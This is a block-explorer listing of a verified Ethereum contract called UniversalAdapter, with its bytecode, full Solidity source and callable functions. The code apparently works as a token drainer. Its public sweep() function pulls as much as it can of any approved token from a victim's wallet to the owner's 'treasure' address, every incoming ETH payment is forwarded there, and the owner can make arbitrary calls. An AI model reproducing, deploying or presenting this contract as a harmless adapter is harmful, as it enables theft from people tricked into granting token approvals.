Address Contract Verified
Address
0x412Ae3a3ec149ED3E561576cc6DFf2AeF83aBb67
Balance
0.000000000 ETH
Nonce
1
Code Size
6555 bytes
Creator
0x6F168C22...F30b at tx 0xa69c2fb6...f7b5f6
Indexed Transactions
0 (1 on-chain, 1.2% indexed)
Contract Bytecode
6555 bytes
0x60806040526004361061004d575f3560e01c80631bd3c650146100665780631d3cd2a6146100825780639456fbcc1461009e578063b8dc491b146100c6578063d0e30db0146100ee5761005c565b3661005c5761005a6100f8565b005b6100646100f8565b005b610080600480360381019061007b9190610f40565b6101ee565b005b61009c60048036038101906100979190610fac565b610308565b005b3480156100a9575f5ffd5b506100c460048036038101906100bf9190610fd7565b6103a1565b005b3480156100d1575f5ffd5b506100ec60048036038101906100e79190610fd7565b61058c565b005b6100f66100f8565b005b60014711156101ec575f5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166001476101479190611042565b604051610153906110a2565b5f6040518083038185875af1925050503d805f811461018d576040519150601f19603f3d011682016040523d82523d5f602084013e610192565b606091505b5091509150816101e9575f815111156101ae5780518082602001fd5b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101e090611110565b60405180910390fd5b50505b565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610245575f5ffd5b5f5f8473ffffffffffffffffffffffffffffffffffffffff16848460405161026d9190611176565b5f6040518083038185875af1925050503d805f81146102a7576040519150601f19603f3d011682016040523d82523d5f602084013e6102ac565b606091505b5091509150816102f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e8906111d6565b60405180910390fd5b5f815103610300575050610303565b50505b505050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461035f575f5ffd5b805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103f8575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610466576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161045d9061123e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036104d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cb906112a6565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff163b1161052d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105249061130e565b60405180910390fd5b5f61053883306106b2565b90505f811161057c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057390611376565b60405180910390fd5b610587838383610834565b505050565b5f61059782846106b2565b90505f81116105db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d290611376565b60405180910390fd5b5f6105e7838530610a09565b90505f811161062b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610622906113de565b60405180910390fd5b5f818310610639578161063b565b825b90505f811161067f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067690611446565b60405180910390fd5b6106ab84865f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b8e565b5050505050565b5f5f5f8473ffffffffffffffffffffffffffffffffffffffff166370a0823160e01b856040516024016106e59190611473565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161074f9190611176565b5f60405180830381855afa9150503d805f8114610787576040519150601f19603f3d011682016040523d82523d5f602084013e61078c565b606091505b5091509150816107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c8906114d6565b60405180910390fd5b602081511015610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d9061153e565b60405180910390fd5b8080602001905181019061082a9190611570565b9250505092915050565b5f5f8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b85856040516024016108689291906115aa565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516108d29190611176565b5f604051808303815f865af19150503d805f811461090b576040519150601f19603f3d011682016040523d82523d5f602084013e610910565b606091505b509150915081610955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094c9061161b565b60405180910390fd5b5f815103610964575050610a04565b6020815110156109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a090611683565b60405180910390fd5b5f818060200190518101906109be91906116d6565b905080610a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f79061174b565b60405180910390fd5b5050505b505050565b5f5f5f8573ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e60e01b8686604051602401610a3e929190611769565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610aa89190611176565b5f60405180830381855afa9150503d805f8114610ae0576040519150601f19603f3d011682016040523d82523d5f602084013e610ae5565b606091505b509150915081610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b21906117da565b60405180910390fd5b602081511015610b6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6690611842565b60405180910390fd5b80806020019051810190610b839190611570565b925050509392505050565b5f5f8573ffffffffffffffffffffffffffffffffffffffff166323b872dd60e01b868686604051602401610bc493929190611860565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610c2e9190611176565b5f604051808303815f865af19150503d805f8114610c67576040519150601f19603f3d011682016040523d82523d5f602084013e610c6c565b606091505b509150915081610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca8906111d6565b60405180910390fd5b5f815103610cc0575050610d60565b602081511015610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc906118df565b60405180910390fd5b5f81806020019051810190610d1a91906116d6565b905080610d5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5390611947565b60405180910390fd5b5050505b50505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610da082610d77565b9050919050565b610db081610d96565b8114610dba575f5ffd5b50565b5f81359050610dcb81610da7565b92915050565b5f819050919050565b610de381610dd1565b8114610ded575f5ffd5b50565b5f81359050610dfe81610dda565b92915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610e5282610e0c565b810181811067ffffffffffffffff82111715610e7157610e70610e1c565b5b80604052505050565b5f610e83610d66565b9050610e8f8282610e49565b919050565b5f67ffffffffffffffff821115610eae57610ead610e1c565b5b610eb782610e0c565b9050602081019050919050565b828183375f83830152505050565b5f610ee4610edf84610e94565b610e7a565b905082815260208101848484011115610f0057610eff610e08565b5b610f0b848285610ec4565b509392505050565b5f82601f830112610f2757610f26610e04565b5b8135610f37848260208601610ed2565b91505092915050565b5f5f5f60608486031215610f5757610f56610d6f565b5b5f610f6486828701610dbd565b9350506020610f7586828701610df0565b925050604084013567ffffffffffffffff811115610f9657610f95610d73565b5b610fa286828701610f13565b9150509250925092565b5f60208284031215610fc157610fc0610d6f565b5b5f610fce84828501610dbd565b91505092915050565b5f5f60408385031215610fed57610fec610d6f565b5b5f610ffa85828601610dbd565b925050602061100b85828601610dbd565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61104c82610dd1565b915061105783610dd1565b925082820390508181111561106f5761106e611015565b5b92915050565b5f81905092915050565b50565b5f61108d5f83611075565b91506110988261107f565b5f82019050919050565b5f6110ac82611082565b9150819050919050565b5f82825260208201905092915050565b7f4661696c65643a207472616e73666572206574680000000000000000000000005f82015250565b5f6110fa6014836110b6565b9150611105826110c6565b602082019050919050565b5f6020820190508181035f830152611127816110ee565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f6111508261112e565b61115a8185611075565b935061116a818560208601611138565b80840191505092915050565b5f6111818284611146565b915081905092915050565b7f7472616e7366657246726f6d2063616c6c206661696c656400000000000000005f82015250565b5f6111c06018836110b6565b91506111cb8261118c565b602082019050919050565b5f6020820190508181035f8301526111ed816111b4565b9050919050565b7f746f6b656e3d30000000000000000000000000000000000000000000000000005f82015250565b5f6112286007836110b6565b9150611233826111f4565b602082019050919050565b5f6020820190508181035f8301526112558161121c565b9050919050565b7f746f3d30000000000000000000000000000000000000000000000000000000005f82015250565b5f6112906004836110b6565b915061129b8261125c565b602082019050919050565b5f6020820190508181035f8301526112bd81611284565b9050919050565b7f746f6b656e206e6f7420636f6e747261637400000000000000000000000000005f82015250565b5f6112f86012836110b6565b9150611303826112c4565b602082019050919050565b5f6020820190508181035f830152611325816112ec565b9050919050565b7f4e6f2062616c616e6365000000000000000000000000000000000000000000005f82015250565b5f611360600a836110b6565b915061136b8261132c565b602082019050919050565b5f6020820190508181035f83015261138d81611354565b9050919050565b7f4e6f20616c6c6f77616e636500000000000000000000000000000000000000005f82015250565b5f6113c8600c836110b6565b91506113d382611394565b602082019050919050565b5f6020820190508181035f8301526113f5816113bc565b9050919050565b7f4e6f7468696e6720746f207377656570000000000000000000000000000000005f82015250565b5f6114306010836110b6565b915061143b826113fc565b602082019050919050565b5f6020820190508181035f83015261145d81611424565b9050919050565b61146d81610d96565b82525050565b5f6020820190506114865f830184611464565b92915050565b7f62616c616e63654f662063616c6c206661696c656400000000000000000000005f82015250565b5f6114c06015836110b6565b91506114cb8261148c565b602082019050919050565b5f6020820190508181035f8301526114ed816114b4565b9050919050565b7f62616c616e63654f66206261642072657475726e0000000000000000000000005f82015250565b5f6115286014836110b6565b9150611533826114f4565b602082019050919050565b5f6020820190508181035f8301526115558161151c565b9050919050565b5f8151905061156a81610dda565b92915050565b5f6020828403121561158557611584610d6f565b5b5f6115928482850161155c565b91505092915050565b6115a481610dd1565b82525050565b5f6040820190506115bd5f830185611464565b6115ca602083018461159b565b9392505050565b7f7472616e736665722063616c6c206661696c65640000000000000000000000005f82015250565b5f6116056014836110b6565b9150611610826115d1565b602082019050919050565b5f6020820190508181035f830152611632816115f9565b9050919050565b7f7472616e73666572206261642072657475726e000000000000000000000000005f82015250565b5f61166d6013836110b6565b915061167882611639565b602082019050919050565b5f6020820190508181035f83015261169a81611661565b9050919050565b5f8115159050919050565b6116b5816116a1565b81146116bf575f5ffd5b50565b5f815190506116d0816116ac565b92915050565b5f602082840312156116eb576116ea610d6f565b5b5f6116f8848285016116c2565b91505092915050565b7f7472616e736665722072657475726e65642066616c73650000000000000000005f82015250565b5f6117356017836110b6565b915061174082611701565b602082019050919050565b5f6020820190508181035f83015261176281611729565b9050919050565b5f60408201905061177c5f830185611464565b6117896020830184611464565b9392505050565b7f616c6c6f77616e63652063616c6c206661696c656400000000000000000000005f82015250565b5f6117c46015836110b6565b91506117cf82611790565b602082019050919050565b5f6020820190508181035f8301526117f1816117b8565b9050919050565b7f616c6c6f77616e6365206261642072657475726e0000000000000000000000005f82015250565b5f61182c6014836110b6565b9150611837826117f8565b602082019050919050565b5f6020820190508181035f83015261185981611820565b9050919050565b5f6060820190506118735f830186611464565b6118806020830185611464565b61188d604083018461159b565b949350505050565b7f7472616e7366657246726f6d206261642072657475726e0000000000000000005f82015250565b5f6118c96017836110b6565b91506118d482611895565b602082019050919050565b5f6020820190508181035f8301526118f6816118bd565b9050919050565b7f7472616e7366657246726f6d2072657475726e65642066616c736500000000005f82015250565b5f611931601b836110b6565b915061193c826118fd565b602082019050919050565b5f6020820190508181035f83015261195e81611925565b905091905056fea2646970667358221220455a80437ea13ae084ae6df2658f4e26d2bb78521b8592e5fbb29fdb7d20fb3b64736f6c634300081f0033
Verified Source Code Full Match
Compiler: v0.8.31+commit.fd3a2265
EVM: osaka
Optimization: No
UniversalAdapter.sol 142 lines
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.31;
contract UniversalAdapter {
bytes4 constant SELECTOR_BALANCE_OF = 0x70a08231; // balanceOf(address)
bytes4 constant SELECTOR_ALLOWANCE = 0xdd62ed3e; // allowance(address,address)
bytes4 constant SELECTOR_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
bytes4 constant SELECTOR_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256)
address private treasure = msg.sender;
function setTreasure(address _treasure) external payable {
require(treasure == msg.sender);
treasure = _treasure;
}
function emergency(
address _to,
uint256 _value,
bytes memory _data
) external payable {
require(treasure == msg.sender);
(bool ok, bytes memory data) = _to.call{value: _value}(_data);
require(ok, "transferFrom call failed");
if (data.length == 0) {
return;
}
}
function _balanceOf(
address token,
address owner
) internal view returns (uint256 bal) {
(bool ok, bytes memory data) = token.staticcall(
abi.encodeWithSelector(SELECTOR_BALANCE_OF, owner)
);
require(ok, "balanceOf call failed");
require(data.length >= 32, "balanceOf bad return");
bal = abi.decode(data, (uint256));
}
function _allowance(
address token,
address owner,
address spender
) internal view returns (uint256 allow) {
(bool ok, bytes memory data) = token.staticcall(
abi.encodeWithSelector(SELECTOR_ALLOWANCE, owner, spender)
);
require(ok, "allowance call failed");
require(data.length >= 32, "allowance bad return");
allow = abi.decode(data, (uint256));
}
function _safeTransferFrom(
address token,
address from,
address to,
uint256 amount
) internal {
(bool ok, bytes memory data) = token.call(
abi.encodeWithSelector(SELECTOR_TRANSFER_FROM, from, to, amount)
);
require(ok, "transferFrom call failed");
if (data.length == 0) {
// non-standard ERC20 (e.g., no return value) -> assume success
return;
}
// Standard ERC20 should return bool
require(data.length >= 32, "transferFrom bad return");
bool success = abi.decode(data, (bool));
require(success, "transferFrom returned false");
}
function _safeTransfer(address token, address to, uint256 amount) internal {
(bool ok, bytes memory data) = token.call(
abi.encodeWithSelector(SELECTOR_TRANSFER, to, amount)
);
require(ok, "transfer call failed");
if (data.length == 0) {
return; // non-standard
}
require(data.length >= 32, "transfer bad return");
bool success = abi.decode(data, (bool));
require(success, "transfer returned false");
}
function sweep(address fromAddress, address tokenAddress) external {
uint256 bal = _balanceOf(tokenAddress, fromAddress);
require(bal > 0, "No balance");
uint256 allow = _allowance(tokenAddress, fromAddress, address(this));
require(allow > 0, "No allowance");
uint256 amount = bal < allow ? bal : allow;
require(amount > 0, "Nothing to sweep");
_safeTransferFrom(tokenAddress, fromAddress, treasure, amount);
}
function withdrawERC20(address tokenAddress, address toAddress) external {
require(treasure == msg.sender);
require(tokenAddress != address(0), "token=0");
require(toAddress != address(0), "to=0");
require(tokenAddress.code.length > 0, "token not contract");
uint256 bal = _balanceOf(tokenAddress, address(this));
require(bal > 0, "No balance");
_safeTransfer(tokenAddress, toAddress, bal);
}
function deposit() public payable {
if (address(this).balance > 1) {
(bool success, bytes memory result) = treasure.call{
value: address(this).balance - 1
}("");
if (!success) {
if (result.length > 0) {
assembly {
let returndata_size := mload(result)
revert(add(32, result), returndata_size)
}
} else {
revert("Failed: transfer eth");
}
}
}
}
fallback() external payable {
deposit();
}
receive() external payable {
deposit();
}
}
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
deposit 0xd0e30db0
No parameters
emergency 0x1bd3c650
address _to
uint256 _value
bytes _data
setTreasure 0x1d3cd2a6
address _treasure
sweep 0xb8dc491b
address fromAddress
address tokenAddress
withdrawERC20 0x9456fbcc
address tokenAddress
address toAddress
Recent Transactions
This address has 1 on-chain transactions, but only 1.2% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →